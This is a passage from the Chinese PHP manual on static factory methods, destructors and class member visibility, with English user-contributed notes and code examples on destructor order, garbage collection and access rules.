$d = new B($abc), // 不支持的常量表达式
) {}
?>

Static 创造方法

在 PHP 中每个 class 只能有一个构造器。 然而有些情况下，需要用不同的输入实现不同的方式构造对象。 这种情况下推荐使用 static 方法包装构造。

Example #5 使用 static 创造方法

<?php
class Product {

private ?int $id;
private ?string $name;

private function __construct(?int $id = null, ?string $name = null) {
$this->id = $id;
$this->name = $name;
}

public static function fromBasicData(int $id, string $name): static {
$new = new static($id, $name);
return $new;
}

public static function fromJson(string $json): static {
$data = json_decode($json);
return new static($data['id'], $data['name']);
}

public static function fromXml(string $xml): static {
// 自定义代码逻辑。
$data = convert_xml_to_array($xml);
$new = new static();
$new->id = $data['id'];
$new->name = $data['name'];
return $new;
}
}

$p1 = Product::fromBasicData(5, 'Widget');
$p2 = Product::fromJson($some_json_string);
$p3 = Product::fromXml($some_xml_string);

可以设置构造器为 private 或 protected，防止自行额外调用。 这时只有 static 方法可以实例化一个类。 由于它们位于同一个定义的 class 因此可以访问私有方法，也不需要在同一个对象实例中。 当然构造器不一定要设置为 private，是否合理取决于实际情况。

三个 static 方法展示了对象以不同方式的实例化方式。

  • fromBasicData() 把所需的全部参数传入构造器，创建对象并返回结果。
  • fromJson() 接受 JSON 字符串，，预处理成构造器所需的格式，然后返回新的对象。
  • fromXml() 接受 XML 字符串并解析，然后创建一个单纯的对象。 由于参数都是可选的，使得可以忽略所有参数去调用构造器。然后为对象的属性赋值后返回结果。

在以上三个例子中，static 关键词会被翻译成代码所在类的类名。 这个例子中是 Product。

析构函数

__destruct(): void

PHP 有析构函数的概念，这类似于其它面向对象的语言，如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

Example #6 析构函数示例

<?php

class MyDestructableClass
{
function __construct() {
print "In constructor\n";
}

function __destruct() {
print "Destroying " . __CLASS__ . "\n";
}
}

$obj = new MyDestructableClass();

和构造函数一样，父类的析构函数不会被引擎暗中调用。要执行父类的析构函数，必须在子类的析构函数体中显式调用 parent::__destruct()。此外也和构造函数一样，子类如果自己没有定义析构函数则会继承父类的。

析构函数即使在使用 exit() 终止脚本运行时也会被调用。在析构函数中调用 exit() 将会中止其余关闭操作的运行。

Note:

析构函数在脚本关闭时调用，此时所有的 HTTP 头信息已经发出。脚本关闭时的工作目录有可能和在 SAPI（如 apache）中时不同。

Note:

试图在析构函数（在脚本终止时被调用）中抛出一个异常会导致致命错误。

User Contributed Notes

Hayley Watson 29-Aug-2023 03:11
There are other advantages to using static factory methods to wrap object construction instead of bare constructor calls.

As well as allowing for different methods to use in different scenarios, with more relevant names both for the methods and the parameters and without the constructor having to handle different sets of arguments of different types:

* You can do all your input validation before attempting to construct the object.
* The object itself can bypass that input validation when constructing new instances of its own class, since you can ensure that it knows what it's doing.
* With input validation/preprocessing moved to the factory methods, the constructor itself can often be reduced to "set these properties to these arguments", meaning the constructor promotion syntax becomes more useful.
* Having been hidden away from users, the constructor's signature can be a bit uglier without becoming a pain for them. Heh.
* Static methods can be lifted and passed around as first class closures, to be called in the normal fashion wherever functions can be called, without the special "new" syntax.
* The factory method need not return a new instance of that exact class. It could return a pre-existing instance that would do the same job as the new one would (especially useful in the case of immutable "value type" objects by reducing duplication); or a simpler or more specific subclass to do the job with less overhead than a more generic instance of the original class. Returning a subclass means LSP still holds.
ziggy at start dot dust 16-Aug-2022 09:04
Please note that constructor argument promotion is kind of half-baked (at least as of 8.1 and it does not look to be changed in 8.2) and you are not allowed to reuse promoted argument with other promoted arguments. For example having "old style" constructor:

<?php
public function __construct(protected string $val, protected Foo $foo = null) {
    $this->val = $val;
    $this->foo = $foo ?? new Foo($val);
}
?>

you will not be able to use argument promotion like this:

<?php
public function __construct(protected string $val, protected Foo $foo = new Foo($val)) {}
?>

nor

<?php
public function __construct(protected string $val, protected Foo $foo = new Foo($this->val)) {}
?>

as in both cases you will face "PHP Fatal error:  Constant expression contains invalid operations".
mmulej at gmail dot com 10-Mar-2022 04:56
*<Double post> I can't edit my previous note to elaborate on modifiers. Please excuse me.*

If both parent and child classes have a method with the same name defined, and it is called in parent's constructor, using `parent::__construct()` will call the method in the child.

<?php

class A {
    public function __construct() {
        $this->method();
    }
    public function method() {
        echo 'A' . PHP_EOL;
    }
}
class B extends A {
    public function __construct() {
        parent::__construct();
    }
}
class C extends A {
    public function __construct() {
        parent::__construct();
    }
    public function method() {
        echo 'C' . PHP_EOL;
    }
}
$b = new B; // A
$c = new C; // C

?>

In this example both A::method and C::method are public.

You may change A::method to protected, and C::method to protected or public and it will still work the same.

If however you set A::method as private, it doesn't matter whether C::method is private, protected or public. Both $b and $c will echo 'A'.
instatiendaweb at gmail dot com 27-Feb-2021 10:07
/**
 * Haciendo una prueba con dos clases y dos destructores
 * La prueba consta de acceder a la variable global del primer objeto en el segundo
 * objeto el destructor 2
 * Primera clase ==> $GLOBALS['obj']
 * SEgunda clase ==> $GLOBALS['obj2']
 * Se ejecuta construct y todo el codigo....
 * Primer destruct borra el objeto y lo hace null
 * Tratamos de acceder a $GLOBALS['obj'] en el segundo destruct pero
 * ya no esta es un objeto null
 * Warning: Undefined array key "obj" in...
 */

class MyDestructableClass{
public $parametro;

     function __construct($parametro) {
echo("<div class=\"div\">"), "Construyendo ",__CLASS__ , ("</div>");
         escribir::verifacionnota($this ,'Antes de guardar la variable  ');
         $this->parametro = $parametro;
         escribir::verifacionnota($this ,'Despues de guardar la variable  ');
     }

     function __destruct() {
        escribir::linea(5); //Separador
        echo("<div class=\"div\">"), "Destruyendo " ,  __CLASS__ , ("</div>");
        escribir::verifacionnota($this ,'Antes de borrar la variable  ');
        unset($this->parametro);
        escribir::verifacionnota($this ,'Despues de borrar la variable  ');

       // unset($GLOBALS[$this]);
     }
 }

 $obj = new MyDestructableClass('parametroone');
 escribir::verifacionnota($obj ,' Verificar la clase MyDestructableClass, no es necesario
 borrar la clase porque se ejecuta al final del script  ');
 escribir::titulosep('Provando ejemplo aqui se puede acceder a la variable global');
 escribir::verificacion($GLOBALS['obj']);

class destructora{
    function __destruct(){
        escribir::titulosep('Sin embargo esta variable muere aqui');
        escribir::verificacion($GLOBALS['obj']);
    }
}

$obj2 = new destructora();
iwwp at outlook dot com 16-Jan-2020 07:58
To better understand the __destrust method:

class A {
    protected $id;

    public function __construct($id)
    {
        $this->id = $id;
        echo "construct {$this->id}\n";
    }

    public function __destruct()
    {
        echo "destruct {$this->id}\n";
    }
}

$a = new A(1);
echo "-------------\n";
$aa = new A(2);
echo "=============\n";

The output content:

construct 1
-------------
construct 2
=============
destruct 2
destruct 1
domger at freenet dot de 14-Aug-2017 07:53
The __destruct magic method must be public.

public function __destruct()
{
    ;
}

The method will automatically be called externally to the instance.  Declaring __destruct as protected or private will result in a warning and the magic method will not be called.

Note: In PHP 5.3.10 i saw strange side effects while some Destructors were declared as protected.
Yousef Ismaeil cliprz[At]gmail[Dot]com 22-Aug-2013 09:06
<?php

/**
 * a funny example Mobile class
 *
 * @author Yousef Ismaeil Cliprz[At]gmail[Dot]com
 */

class Mobile {

    /**
     * Some device properties
     *
     * @var string
     * @access public
     */
    public $deviceName,$deviceVersion,$deviceColor;

    /**
     * Set some values for Mobile::properties
     *
     * @param string device name
     * @param string device version
     * @param string device color
     */
    public function __construct ($name,$version,$color) {
        $this->deviceName = $name;
        $this->deviceVersion = $version;
        $this->deviceColor = $color;
        echo "The ".__CLASS__." class is stratup.<br /><br />";
    }

    /**
     * Some Output
     *
     * @access public
     */
    public function printOut () {
        echo 'I have a '.$this->deviceName
            .' version '.$this->deviceVersion
            .' my device color is : '.$this->deviceColor;
    }

    /**
     * Umm only for example we will remove Mobile::$deviceName Hum not unset only to check how __destruct working
     *
     * @access public
     */
    public function __destruct () {
        $this->deviceName = 'Removed';
        echo '<br /><br />Dumpping Mobile::deviceName to make sure its removed, Olay :';
        var_dump($this->deviceName);
        echo "<br />The ".__CLASS__." class is shutdown.";
    }

}

// Oh ya instance
$mob = new Mobile('iPhone','5','Black');

// print output
$mob->printOut();

?>

The Mobile class is stratup.

I have a iPhone version 5 my device color is : Black

Dumpping Mobile::deviceName to make sure its removed, Olay :
string 'Removed' (length=7)

The Mobile class is shutdown.
Per Persson 09-May-2012 01:57
As of PHP 5.3.10 destructors are not run on shutdown caused by fatal errors.

For example:
<?php
class Logger
{
    protected $rows = array();

    public function __destruct()
    {
        $this->save();
    }

    public function log($row)
    {
        $this->rows[] = $row;
    }

    public function save()
    {
        echo '<ul>';
        foreach ($this->rows as $row)
        {
            echo '<li>', $row, '</li>';
        }
        echo '</ul>';
    }
}

$logger = new Logger;
$logger->log('Before');

$nonset->foo();

$logger->log('After');
?>

Without the $nonset->foo(); line, Before and After will both be printed, but with the line neither will be printed.

One can however register the destructor or another method as a shutdown function:
<?php
class Logger
{
    protected $rows = array();

    public function __construct()
    {
        register_shutdown_function(array($this, '__destruct'));
    }

    public function __destruct()
    {
        $this->save();
    }

    public function log($row)
    {
        $this->rows[] = $row;
    }

    public function save()
    {
        echo '<ul>';
        foreach ($this->rows as $row)
        {
            echo '<li>', $row, '</li>';
        }
        echo '</ul>';
    }
}

$logger = new Logger;
$logger->log('Before');

$nonset->foo();

$logger->log('After');
?>
Now Before will be printed, but not After, so you can see that a shutdown occurred after Before.
david dot scourfield at llynfi dot co dot uk 12-Aug-2011 04:17
Be aware of potential memory leaks caused by circular references within objects.  The PHP manual states "[t]he destructor method will be called as soon as all references to a particular object are removed" and this is precisely true: if two objects reference each other (or even if one object has a field that points to itself as in $this->foo = $this) then this reference will prevent the destructor being called even when there are no other references to the object at all.  The programmer can no longer access the objects, but they still stay in memory.

Consider the following example:

<?php

header("Content-type: text/plain");

class Foo {

    /**
     * An indentifier
     * @var string
     */
    private $name;
    /**
     * A reference to another Foo object
     * @var Foo
     */
    private $link;

    public function __construct($name) {
        $this->name = $name;
    }

    public function setLink(Foo $link){
        $this->link = $link;
    }

    public function __destruct() {
        echo 'Destroying: ', $this->name, PHP_EOL;
    }
}

// create two Foo objects:
$foo = new Foo('Foo 1');
$bar = new Foo('Foo 2');

// make them point to each other
$foo->setLink($bar);
$bar->setLink($foo);

// destroy the global references to them
$foo = null;
$bar = null;

// we now have no way to access Foo 1 or Foo 2, so they OUGHT to be __destruct()ed
// but they are not, so we get a memory leak as they are still in memory.
//
// Uncomment the next line to see the difference when explicitly calling the GC:
// gc_collect_cycles();
//
// see also: http://www.php.net/manual/en/features.gc.php
//

// create two more Foo objects, but DO NOT set their internal Foo references
// so nothing except the vars $foo and $bar point to them:
$foo = new Foo('Foo 3');
$bar = new Foo('Foo 4');

// destroy the global references to them
$foo = null;
$bar = null;

// we now have no way to access Foo 3 or Foo 4 and as there are no more references
// to them anywhere, their __destruct() methods are automatically called here,
// BEFORE the next line is executed:

echo 'End of script', PHP_EOL;

?>

This will output:

Destroying: Foo 3
Destroying: Foo 4
End of script
Destroying: Foo 1
Destroying: Foo 2

But if we uncomment the gc_collect_cycles(); function call in the middle of the script, we get:

Destroying: Foo 2
Destroying: Foo 1
Destroying: Foo 3
Destroying: Foo 4
End of script

As may be desired.

NOTE: calling gc_collect_cycles() does have a speed overhead, so only use it if you feel you need to.
Jonathon Hibbard 09-Jan-2010 04:32
Please be aware of when using __destruct() in which you are unsetting variables...

Consider the following code:
<?php
class my_class {
  public $error_reporting = false;

  function __construct($error_reporting = false) {
    $this->error_reporting = $error_reporting;
  }

  function __destruct() {
    if($this->error_reporting === true) $this->show_report();
    unset($this->error_reporting);
  }
?>

The above will result in an error:
Notice: Undefined property: my_class::$error_reporting in my_class.php on line 10

It appears as though the variable will be unset BEFORE it actually can execute the if statement.  Removing the unset will fix this.  It's not needed anyways as PHP will release everything anyways, but just in case you run across this, you know why ;)
spleen 17-Oct-2008 04:35
It's always the easy things that get you -

Being new to OOP, it took me quite a while to figure out that there are TWO underscores in front of the word __construct.

It is __construct
Not _construct

Extremely obvious once you figure it out, but it can be sooo frustrating until you do.

I spent quite a bit of needless time debugging working code.

I even thought about it a few times, thinking it looked a little long in the examples, but at the time that just seemed silly(always thinking "oh somebody would have made that clear if it weren't just a regular underscore...")

All the manuals I looked at, all the tuturials I read, all the examples I browsed through  - not once did anybody mention this!

(please don't tell me it's explained somewhere on this page and I just missed it,  you'll only add to my pain.)

I hope this helps somebody else!
bolshun at mail dot ru 16-Apr-2008 06:13
Ensuring that instance of some class will be available in destructor of some other class is easy: just keep a reference to that instance in this other class.
david at synatree dot com 29-Dec-2007 01:26
When a script is in the process of die()ing, you can't count on the order in which __destruct() will be called.

For a script I have been working on, I wanted to do transparent low-level encryption of any outgoing data.  To accomplish this, I used a global singleton class configured like this:

class EncryptedComms
{
    private $C;
    private $objs = array();
    private static $_me;

    public static function destroyAfter(&$obj)
    {
        self::getInstance()->objs[] =& $obj;
        /*
            Hopefully by forcing a reference to another object to exist
            inside this class, the referenced object will need to be destroyed
            before garbage collection can occur on this object.  This will force
            this object's destruct method to be fired AFTER the destructors of
            all the objects referenced here.
        */
    }
    public function __construct($key)
    {
            $this->C = new SimpleCrypt($key);
            ob_start(array($this,'getBuffer'));
    }
    public static function &getInstance($key=NULL)
    {
        if(!self::$_me && $key)
            self::$_me = new EncryptedComms($key);
        else
            return self::$_me;
    }

    public function __destruct()
    {
        ob_end_flush();
    }

    public function getBuffer($str)
    {
        return $this->C->encrypt($str);
    }

}

In this example, I tried to register other objects to always be destroyed just before this object.  Like this:

class A
{

public function __construct()
{
     EncryptedComms::destroyAfter($this);
}
}

One would think that the references to the objects contained in the singleton would be destroyed first, but this is not the case.  In fact, this won't work even if you reverse the paradigm and store a reference to EncryptedComms in every object you'd like to be destroyed before it.

In short, when a script die()s, there doesn't seem to be any way to predict the order in which the destructors will fire.
prieler at abm dot at 27-Jul-2007 12:42
i have written a quick example about the order of destructors and shutdown functions in php 5.2.1:

<?php
class destruction {
    var $name;

    function destruction($name) {
        $this->name = $name;
        register_shutdown_function(array(&$this, "shutdown"));
    }

    function shutdown() {
        echo 'shutdown: '.$this->name."\n";
    }

    function __destruct() {
        echo 'destruct: '.$this->name."\n";
    }
}

$a = new destruction('a: global 1');

function test() {
    $b = new destruction('b: func 1');
    $c = new destruction('c: func 2');
}
test();

$d = new destruction('d: global 2');

?>

this will output:
shutdown: a: global 1
shutdown: b: func 1
shutdown: c: func 2
shutdown: d: global 2
destruct: b: func 1
destruct: c: func 2
destruct: d: global 2
destruct: a: global 1

conclusions:
destructors are always called on script end.
destructors are called in order of their "context": first functions, then global objects
objects in function context are deleted in order as they are set (older objects first).
objects in global context are deleted in reverse order (older objects last)

shutdown functions are called before the destructors.
shutdown functions are called in there "register" order. ;)

regards, J
Reza Mahjourian 10-Jul-2006 02:18
Peter has suggested using static methods to compensate for unavailability of multiple constructors in PHP.  This works fine for most purposes, but if you have a class hierarchy and want to delegate parts of initialization to the parent class, you can no longer use this scheme.  It is because unlike constructors, in a static method you need to do the instantiation yourself.  So if you call the parent static method, you will get an object of parent type which you can't continue to initialize with derived class fields.

Imagine you have an Employee class and a derived HourlyEmployee class and you want to be able to construct these objects out of some XML input too.

<?php
class Employee {
   public function __construct($inName) {
       $this->name = $inName;
   }

   public static function constructFromDom($inDom)
   {
       $name = $inDom->name;
       return new Employee($name);
   }

   private $name;
}

class HourlyEmployee extends Employee {
   public function __construct($inName, $inHourlyRate) {
       parent::__construct($inName);
       $this->hourlyRate = $inHourlyRate;
   }

   public static function constructFromDom($inDom)
   {
       // can't call parent::constructFromDom($inDom)
       // need to do all the work here again
       $name = $inDom->name;  // increased coupling
       $hourlyRate = $inDom->hourlyrate;
       return new EmployeeHourly($name, $hourlyRate);
   }

   private $hourlyRate;
}
?>

The only solution is to merge the two constructors in one by adding an optional $inDom parameter to every constructor.


访问控制（可见性）

对属性或方法的访问控制（PHP 7.1.0 以后支持常量），是通过在前面添加关键字 public（公有），protected（受保护）或 private（私有）来实现的。被定义为公有的类成员可以在任何地方被访问。 被定义为受保护的类成员则可以被其自身以及其子类和父类访问。被定义为私有的类成员则只能被其定义所在的类访问。

属性的访问控制

类属性可以定义为public， private 或者 protected。在没有任何访问控制关键字的情况下，属性声明为 public。

Example #1 属性声明

<?php
/**
* Define MyClass
*/
class MyClass
{
public $public = 'Public';
protected $protected = 'Protected';
private $private = 'Private';

function printHello()
{
echo $this->public;
echo $this->protected;
echo $this->private;
}
}

$obj = new MyClass();
echo $obj->public; // 这行能被正常执行
echo $obj->protected; // 这行会产生一个致命错误
echo $obj->private; // 这行也会产生一个致命错误
$obj->printHello(); // 输出 Public、Protected 和 Private

/**
* Define MyClass2
*/
class MyClass2 extends MyClass
{
// 可以对 public 和 protected 进行重定义，但 private 而不能
public $public = 'Public2';
protected $protected = 'Protected2';

function printHello()
{
echo $this->public;
echo $this->protected;
echo $this->private;
}
}

$obj2 = new MyClass2();
echo $obj2->public; // 这行能被正常执行
echo $obj2->protected; // 这行会产生一个致命错误
echo $obj2->private; // 未定义 private
$obj2->printHello(); // 输出 Public2、Protected2 和 Undefined

?>

方法的访问控制

类中的方法可以被定义为 public、private 或 protected。如果没有设置这些关键字，则该方法默认为 public。

Example #2 方法声明

<?php
/**
* Define MyClass
*/
class MyClass
{
// 声明一个公有的构造函数
public function __construct() { }

// 声明一个公有的方法
public function MyPublic() { }

// 声明一个受保护的方法
protected function MyProtected() { }

// 声明一个私有的方法
private function MyPrivate() { }

// 此方法为公有
function Foo()
{
$this->MyPublic();
$this->MyProtected();
$this->MyPrivate();
}
}

$myclass = new MyClass;
$myclass->MyPublic(); // 这行能被正常执行
$myclass->MyProtected(); // 这行会产生一个致命错误
$myclass->MyPrivate(); // 这行会产生一个致命错误
$myclass->Foo(); // 公有，受保护，私有都可以执行

/**
* Define MyClass2
*/
class MyClass2 extends MyClass
{
// 此方法为公有
function Foo2()
{
$this->MyPublic();
$this->MyProtected();
$this->MyPrivate(); // 这行会产生一个致命错误
}
}

$myclass2 = new MyClass2;
$myclass2->MyPublic(); // 这行能被正常执行
$myclass2->Foo2(); // 公有的和受保护的都可执行，但私有的不行

class Bar
{
public function test() {
$this->testPrivate();
$this->testPublic();
}

public function testPublic() {
echo "Bar::testPublic\n";
}

private function testPrivate() {
echo "Bar::testPrivate\n";
}
}

class Foo extends Bar
{
public function testPublic() {
echo "Foo::testPublic\n";
}

private function testPrivate() {
echo "Foo::testPrivate\n";
}
}

$myFoo = new foo();
$myFoo->test(); // Bar::testPrivate
// Foo::testPublic
?>

常量的控制访问

PHP 7.1.0 开始，类的常量可以定义为 public、private 或 protected。如果没有设置这些关键字，则该常量默认为 public。

Example #3 PHP 7.1.0 中的常量声明

<?php
/**
* Define MyClass
*/
class MyClass
{
// 公有常量
public const MY_PUBLIC = 'public';

// 受保护的常量
protected const MY_PROTECTED = 'protected';

// 私有常量
private const MY_PRIVATE = 'private';

public function foo()
{
echo self::MY_PUBLIC;
echo self::MY_PROTECTED;
echo self::MY_PRIVATE;
}
}

$myclass = new MyClass();
MyClass::MY_PUBLIC; // 这行可以正常执行
MyClass::MY_PROTECTED; // 这行会产生一个致命错误
MyClass::MY_PRIVATE; // 这行会产生一个致命错误
$myclass->foo(); // 将会输出：Public Protected Private

/**
* Define MyClass2
*/
class MyClass2 extends MyClass
{
// This is public
function foo2()
{
echo self::MY_PUBLIC;
echo self::MY_PROTECTED;
echo self::MY_PRIVATE; // 这行会产生一个致命错误
}
}

$myclass2 = new MyClass2;
echo MyClass2::MY_PUBLIC; // 这行可以正常执行
$myclass2->foo2(); // 将会输出：Public Protected，MY_PRIVATE 是私有常量，无法输出
?>

其它对象的访问控制

同一个类的对象即使不是同一个实例也可以互相访问对方的 private 与 protected 成员。 这是由于在这些对象的内部具体实现的细节都是已知的。

Example #4 访问同一个对象类型的 private 成员

<?php
class Test
{
private $foo;

public function __construct($foo)
{
$this->foo = $foo;
}

private function bar()
{
echo 'Accessed the private method.';
}

public function baz(Test $other)
{
// 我们可以改变 private 属性：
$other->foo = 'hello';
var_dump($other->foo);

// 我们也可以调用 private 方法：
$other->bar();
}
}

$test = new Test('test');

$test->baz(new Test('other'));
?>

以上示例会输出：

string(5) "hello"
Accessed the private method.

User Contributed Notes

alperenberatdurmus at gmail dot com 17-Apr-2023 08:57
Dynamic properties are "public".
<?php
class MyClass {
    public function setProperty($value) {
        $this->dynamicProperty = $value;
    }
}
$obj = new MyClass();
$obj->setProperty('Hello World');
echo $obj->dynamicProperty; // Outputs "Hello World"
?>

This usage is the same as well:
<?php
class MyClass {
}
$obj = new MyClass();
$obj->dynamicProperty = 'Hello World';
echo $obj->dynamicProperty; // Outputs "Hello World"
?>
kostya at eltexsoft dot com 23-Aug-2021 10:05
I see we can redeclare private properties into child class
<?php
 class A{
        private int $private_prop = 4;
        protected int $protected_prop = 8;
    }

    class B extends A{
        private int $private_prop = 7; // we can redeclare private property!!!
        public function printAll() {
            echo $this->private_prop;
            echo $this->protected_prop;
    }
    }

    $b = new B;
    $b->printAll(); // show 78
}
?>
tvitcom at yandex dot ru 16-Sep-2020 04:49
<?php
//PHP Version 7.4.5 (compiled, as mod_cgi)

class BaseOne {
    public function Print($a) {
        return $a . '123';
    }

    private function PrintPrivate($a) {
        return $a . '123';
    }

    protected function PrintProtected($a) {
        return $a . '123';
    }
}

class BaseTwo extends BaseOne {}

$b = new BaseTwo();

echo $b->Print('000');
echo $b->PrintPrivate("000");//Fatal error: Uncaught Error: Call to private method BaseOne::PrintPrivate() from context...
echo $b->PrintProtected("000");//Fatal error: Uncaught Error: Call to protected method BaseOne::PrintProtected() from context...
benjam 01-Jun-2020 09:16
When overriding a private method with a more visible child method, the parent method may be called instead.

<?php

class Parent {
    private function foo() {
        echo "Parent Foo\n";
    }

    public function call_foo() {
        $this->foo();
    }
}

class Child extends Parent {
    public function foo() {
        echo "Child Foo\n";
    }
}

$bar = new Child();
$bar->call_foo();
$bar->foo();

?>

will output:
Parent Foo
Child Foo
Vytautas 05-Apr-2020 10:31
I have simplified the last method (Example #4) showing how to call private function outside the class. I think this is an idea of that example:

<?php
class Test
{
    private $foo;

    private function bar()
    {
        echo 'Accessed the private method.';
    }

    public function baz()
    {
        // Calling the private method:
        $this->bar();
    }
}
$test=new Test();
$test->baz();
$test->bar();
?>
Patanjali 04-Nov-2019 10:19
Re: wbcarts at juno dot com

Expected, since it comes down to PHP's lack of type enforcement.

Classes preserve structure, but doesn't natively enforce scalar property types, as per PHP's variables.

'It REQUIRES OUTSIDE CODE to do all the work...'

No, as you indicate, to mitigate this,  make variables private and use protected/public 'set' and 'get' types of methods to manipulate their values.

However, the 'set' functions would also need to enforce type and report errors if not of the correct type.

Of course, the code that uses classes should be designed to either:
a. Provide only the correct types of values.
b. Handle the errors reported.
c. Encapsulate use of the class with try-catch blocks.

Note that c. is what sloppy code feeding mistyped values to the class would have to do if type were strictly enforced.

Fortunately, as of 7.0, type can be specified for scalar function/method parameters, but would need try-catch blocks to handle mismatches from inside the class, rather than using the 'is' functions.

All of this is part of proper design and defensive programming.
tushar dot khan0122 at gmail dot com 12-Mar-2019 07:54
1 . If the class member declared as public then it can be accessed everywhere.
2 . If the class members declared as protected then it can be accessed only within the class itself and by inheriting and parent classes.
 3 .If the class members declared as private then it may only be accessed by the class that defines the member.

<?php

// BaseClass
class pub {
    public $tag_line = "A Computer Science Portal for Geeks!";
    function display() {
        echo $this->tag_line."<br/>";
    }
}

// SubClass
class child extends pub {
    function show(){
        echo $this->tag_line;
    }
}

// Object Declaration
$obj= new child;

// A Computer Science Portal for Geeks!
echo $obj->tag_line."<br/>";

// A Computer Science Portal for Geeks!
$obj->display();

// A Computer Science Portal for Geeks!
$obj->show();
?>

<?php

// Base Class
class pro {
    protected $x = 500;
    protected $y = 500;

    // Subtraction Function
    function sub()
    {
        echo $sum=$this->x-$this->y . "<br/>";
    }
}

// SubClass - Inherited Class
class child extends pro {
    function mul() //Multiply Function
    {
        echo $sub=$this->x*$this->y;
    }
}

$obj= new child;
$obj->sub();
$obj->mul();
?>

<?php

// Base Class
class demo {
    private $name="A Computer Science Portal for Geeks!";

    private function show()
    {
        echo "This is private method of base class";
    }
}

// Sub Class
class child extends demo {
    function display()
    {
        echo $this->name;
    }
}

// Object Declaration
$obj= new child;

// Uncaught Error: Call to private method demo::show()
$obj->show();

//Undefined property: child::$name
$obj->display();
?>
bishop at php dot net 11-Nov-2016 03:27
> Members declared protected can be accessed only within
> the class itself and by inherited classes. Members declared
> as private may only be accessed by the class that defines
> the member.

This is not strictly true. Code outside the object can get and set private and protected members:

<?php
class Sealed { private $value = 'foo'; }

$sealed = new Sealed;
var_dump($sealed); // private $value => string(3) "foo"

call_user_func(\Closure::bind(
    function () use ($sealed) { $sealed->value = 'BAZ'; },
    null,
    $sealed
));

var_dump($sealed); // private $value => string(3) "BAZ"

?>

The magic lay in \Closure::bind, which allows an anonymous function to bind to a particular class scope. The documentation on \Closure::bind says:

> If an object is given, the type of the object will be used
> instead. This determines the visibility of protected and
> private methods of the bound object.

So, effectively, we're adding a run-time setter to $sealed, then calling that setter. This can be elaborated to generic functions that can force set and force get object members:

<?php
function force_set($object, $property, $value) {
    call_user_func(\Closure::bind(
        function () use ($object, $property, $value) {
            $object->{$property} = $value;
        },
        null,
        $object
    ));
}

function force_get($object, $property) {
    return call_user_func(\Closure::bind(
        function () use ($object, $property) {
            return $object->{$property};
        },
        null,
        $object
    ));
}

force_set($sealed, 'value', 'quux');
var_dump(force_get($sealed, 'value')); // 'quux'

?>

You should probably not rely on this ability for production quality code, but having this ability for debugging and testing is handy.
noel darlow 18-Jun-2016 08:19
After having the how explained, many people will still be left wondering about the why. How should the different kinds of visibility be used in practice?

Some kind of labelling for the public and private parts of an interface is certainly necessary. We need to be clear which methods will be part of the public interface and which are only used internally .

In older versions of php notionally-private functions were prefixed with an underscore - a much simpler and more elegant solution to the labelling problem. "Protected" adds clutter which affects readability. It adds a lot of unnecessary typing to what is already a keyboard-intensive job.

As for enforcement.. no-one ever got mixed up about public/private so long as they were clearly labelled. As such, "protected" is an attempt to solve a problem which simply did not exist.

Private is even worse. It specifically encourages bad object-oriented code with the use of inheritance in places where you should be thinking about separate, co-operating objects.

A feeling that classes which inherit from each other need to hide some of their bits from each other is a sure sign that you need to break the code up into separate objects. This is exactly what encapsulation is for. It doesn't make any sense to try to encapsulate bits inside an inheritance tree. Classes which extend other classes must always be free to override whatever it is they need to override in their parent classes.

In short, use protected if you must, do not use private at all. Do not try to squeeze too much new functionality into an inheritance tree: create networks of co-operating objects with clearly-defined responsibilities instead.

It's a real shame that php took the decision to implement private and protected. They add nothing to our ability to write good quality OO code; they simply make that code more difficult to write and to understand.   Clarity and simplicity are incredibly important in programming but now both php programmers and php developers are stuck with these unnecessary layers of complexity.
gried at NOSPAM dot nsys dot by 28-Jan-2016 06:18
I want to merge notes from different comments about visibility of class members from parent class / sibling class point of view because visibility rules are similar. Here are main points:
    1. Methods declared in parent class can access some child class members.
    2. Class can access some sibling class members using methods declared in common parent. NB: only inherited not-overridden parent method could be used, if you override it in current class you have to call parent method statically to get access to sibling members.

You can see list of members that could be accessed via these methods below:
- inherited protected / private property - OK;
- inherited protected / private method without overriding - OK;
- inherited protected method with overriding - OK;
- inherited private method with overriding - FAIL, original parent method will be called;
- own protected property / method - OK;
- own private property / method - FAIL, critical error.
willbrownsberger at gmail dot com 03-Sep-2015 01:20
Just wanted to share a trap for the unwary.  Where there are several layers of object assignments, setting the bottom object's properties as private will prevent its exposure.  However, if the bottom object has public properties, intermediate objects which are themselves set as private but are derived from the bottom object can inadvertently be exposed to updates.

This follows logically from the reference model in php ( http://php.net/manual/en/language.oop5.references.php ), but can yield a result that is surprising until one gets the reference model.  The following example demonstrates the phenomenon.

// underlying class for offering database results to other objects
// __construct method yields public results -- bottom object in example

class database_result {
    public $column1;
    public function __construct() {
        // . . . database access . . .
        $this->column1 = 'foo';
    }
}

// application dictionary accesses database and caches results
// for application objects -- this is the second layer  in the example

class  dictionary {
    private $reference_object;
    public function __construct (){
        $this->reference_object = new database_result;
    }

    public function get_reference_object() {
        return ( $this->reference_object );
    }
}

$dictionary = new dictionary;
/* $dictionary->reference_object cannot be accessed directly
* $dictionary->reference_object->column1 = 'foochanged';
* yields Fatal error: Cannot access private property dictionary::$reference_object in /var/www/html/index.php  . . .
*/

$pointer_to_dictionary = $dictionary;
/*
* if assign $dictionary to new variable, the new variable is a pointer and its properties are still private
* $pointer_to_dictionary->reference_object->column1 = 'foochanged';
* Fatal error: Cannot access private property dictionary::$reference_object in /var/www/html/index.php  . . .
* $pointer_to_dictionary = $dictionary->reference_object;
*  Fatal error: Cannot access private property dictionary::$reference_object in /var/www/html/index.php  . . .
*/

//  now set up a client class that will use a working copy of the dictionary -- this is the third layer in the example

class dictionary_user {
    private $pointer_to_dictionary;
    public function __construct () {
        global $dictionary;
        // $this->pointer_to_dictionary = $dictionary->reference_object;
        // Fatal error: Cannot access private property dictionary::$reference_object in /var/www/html/index.php  . . .
        // still cannot directly access dictionary properties even in this context, except through getter
        $this->pointer_to_dictionary = $dictionary->get_reference_object();
    }

    // however, can now operate on dictionary through the pointer
    public function set_pointer_to_dictionary ( $value ) {
        $this->pointer_to_dictionary->column1 = $value;
    }

    public function get_pointer_to_reference_object(){
        return ($this->pointer_to_dictionary);
    }
}

$dictionary_user = new dictionary_user;
$dictionary_user->set_pointer_to_dictionary ( 'foochanged' );
echo ('<br/>');
var_dump ( $dictionary_user->get_pointer_to_reference_object()); echo '<br/>';
// object(database_result)#2 (1) { ["column1"]=> string(10) "foochanged" } -- of course, the user object is changed
var_dump ( $dictionary->get_reference_object() );
// object(database_result)#2 (1) { ["column1"]=> string(10) "foochanged" }  -- however, the private dictionary object is also now corrupted!
